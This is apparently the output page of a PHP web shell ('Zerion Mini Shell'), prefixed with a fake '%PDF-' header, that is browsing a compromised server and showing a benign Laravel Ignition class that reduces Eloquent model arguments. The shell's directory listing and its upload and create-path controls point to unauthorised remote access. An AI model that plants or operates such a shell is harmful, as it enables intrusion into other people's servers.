%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/demo/vendor/spatie/laravel-ignition/src/ArgumentReducers/
Upload File :
Create Path :
Current File : /www/loslex/demo/vendor/spatie/laravel-ignition/src/ArgumentReducers/ModelArgumentReducer.php

<?php

namespace Spatie\LaravelIgnition\ArgumentReducers;

use Illuminate\Database\Eloquent\Model;
use Spatie\Backtrace\Arguments\ReducedArgument\ReducedArgument;
use Spatie\Backtrace\Arguments\ReducedArgument\ReducedArgumentContract;
use Spatie\Backtrace\Arguments\ReducedArgument\UnReducedArgument;
use Spatie\Backtrace\Arguments\Reducers\ArgumentReducer;

class ModelArgumentReducer implements ArgumentReducer
{
    public function execute(mixed $argument): ReducedArgumentContract
    {
        if (! $argument instanceof Model) {
            return UnReducedArgument::create();
        }

        return new ReducedArgument(
            "{$argument->getKeyName()}:{$argument->getKey()}",
            get_class($argument)
        );
    }
}

Zerion Mini Shell 1.0